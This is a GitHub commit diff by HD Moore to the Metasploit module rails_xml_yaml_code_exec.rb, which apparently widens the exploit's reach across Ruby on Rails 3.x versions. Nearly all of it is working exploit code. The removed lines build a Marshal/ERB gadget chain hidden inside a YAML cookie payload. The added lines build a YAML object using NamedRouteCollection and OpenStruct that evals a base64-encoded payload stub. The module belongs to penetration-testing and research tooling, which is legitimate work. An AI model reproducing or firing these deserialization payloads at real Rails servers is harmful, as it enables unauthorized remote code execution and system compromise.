Skip to content

Commit 0e92de8

Browse files
author
HD Moore
committed
This works against a wider range of RoR 3.x targets
1 parent 5e7a4f1 commit 0e92de8

File tree

1 file changed

+5
-30
lines changed

1 file changed

+5
-30
lines changed

modules/exploits/multi/http/rails_xml_yaml_code_exec.rb

Lines changed: 5 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -84,36 +84,11 @@ def detached_payload_stub(code)
8484
def build_yaml
8585

8686
# Embed the payload with the detached stub
87-
code =
88-
"eval('" +
89-
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
90-
"'.unpack('m0').first)"
91-
92-
# Create a base64-encoded marshalled object
93-
inner_payload = Rex::Text.encode_base64(
94-
"\x04\x08" +
95-
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
96-
":\x0E@instance" +
97-
"o"+":\x08ERB"+"\x06" +
98-
":\x09@src" +
99-
Marshal.dump(code)[2..-1] +
100-
":\x0C@method"+":\x0Bresult"
101-
)
102-
103-
# Pack this into a YAML (the leading whitespace below is important)
104-
payload = <<-PAYLOAD.strip.gsub("\n", "&#10;")
105-
--- !ruby/object:Gem::Requirement
106-
requirements:
107-
- !ruby/object:Rack::Session::Abstract::SessionHash
108-
env:
109-
HTTP_COOKIE: a=#{inner_payload}
110-
by: !ruby/object:Rack::Session::Cookie
111-
coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
112-
key: a
113-
secrets: []
114-
exists: true
115-
PAYLOAD
116-
87+
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
88+
yaml =
89+
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
90+
"'; (eval(%[#{code}].unpack(%[m0])[0]); @e=true) unless @e #':" +
91+
" !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
11792
end
11893

11994

0 commit comments

Comments
 (0)